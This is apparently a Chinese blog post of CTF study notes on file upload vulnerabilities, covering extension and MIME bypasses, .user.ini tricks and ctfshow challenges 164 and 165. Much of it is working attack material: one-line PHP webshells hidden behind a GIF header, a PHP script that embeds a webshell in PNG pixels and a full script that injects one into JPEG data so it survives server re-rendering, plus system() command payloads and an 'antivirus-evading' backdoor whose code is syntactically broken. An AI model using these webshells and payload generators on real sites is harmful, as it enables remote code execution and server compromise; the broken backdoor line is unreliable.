文件上传

文件上传

文件上传漏洞是指攻击者上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。场景中上传附件、头像等功能,若在系统设计中忽略了相关的安全检查,则容易导致文件上传漏洞。

网站文件常见的后缀名:

asp、asa、cdx、cer、php、aspx、ashx、php3、php.a、shtml、phtml
大写绕过 或 同解析后缀名绕过
同解析名后缀:

PHP:.php .php2 .php3 .php4 .php5 .php6 .php7 .php空格 .phtml .pgif
     .shtml .htaccess .phar .inc 
ASP:.asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap
     .vbhtm .vbhtml .asa .cer .shtml
JSP:.jsp .jspx .jsw .jsv .sjspf .wss .do .action

后门代码需要特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

MIME

Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。

语法格式:

Content-Type: text/html; charset=utf-8
Content-Type: multipart/form-data; boundary=something

常见的媒体格式类型如下:text/html : HTML格式、text/plain :纯文本格式、text/xml : XML格式、image/gif :gif图片格式、image/jpeg :jpg图片格式、image/png:png图片格式

以application开头的媒体格式类型:application/xhtml+xml :XHTML格式、application/xml: XML数据格式、application/atom+xml :Atom XML聚合格式、application/json: JSON数据格式application/pdf:pdf格式、application/msword : Word文档格式、application/octet-stream : 二进制流数据(如常见的文件下载)、application/x-www-form-urlencoded :

中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)

x=system('ls');    //获取当前目录下的文件列表
x=system('ls ../');   //上一级
x=system('tac ../flag.php');

文件头绕过

在木马内容基础上再加一些文件信息,比如文件的文件头。

其中.gif文件的文件头可以全部用ascii字符表示:

GIF89a <?php eval($_POST[1]); ?>

.user.ini

.user.ini使用范围很广,nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

使用场景:网站后端限制.php 文件上传

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

.user.ini需要配置文件index.php


文件内容过滤

过滤常见后门木马,使用正则过滤<?php等

<?=表达式?>          //不需要设置参数环境
<script language="php">echo '1';</script>   //同上

在线IP转数字:在文件上传过滤.时使用

IP/数字互转 iP138在线工具

条件竞争

图片的二次渲染

判定方式:

1、判断上传前和上传后的文件大小。

2、判断上传后的文件返回数据包内容

ctfshow-164

png二次渲染

包含地址:http://52af3f7d-00b8-4f6b-a242-d064c7ced723.challenge.ctf.show/download.php?image=41b586905e6233e72b076191f8bf9512.png

利用脚本生产包含木马的图片,不会被二次渲染删掉

<?php
$p = array(
    0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33
);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y + 1];
    $b = $p[$y + 2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, './images.png');
/*木马内容
<? $_GET[0]($_POST[1]); ?>
0=system
1=ls ./
*/

在hackbar没有回显,直接抓包

找到flag

get 0 =system
post 1=tac flag.php

jpg二次渲染

ctfshow-165

1、先上传jpg正常,返回包发现渲染

2、上传ipg渲染后保存,生成带代码图片

脚本代码

<?php
    $miniPayload = '<?=eval($_POST[1]);?>';
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

指令:进入脚本目录,执行命令

php 脚本.php 要插入的图片.jpg

传值:

1=system('ls');
1=system('tac f*');
1=system('tac flag.php');

免杀后门

<?php $a='syste'$b='m'$c=$a.$b;$c(tac ../flagaa.php');?>
posted @ 2023-11-20 17:55  飞越三万尺  阅读(43)  评论(0编辑  收藏  举报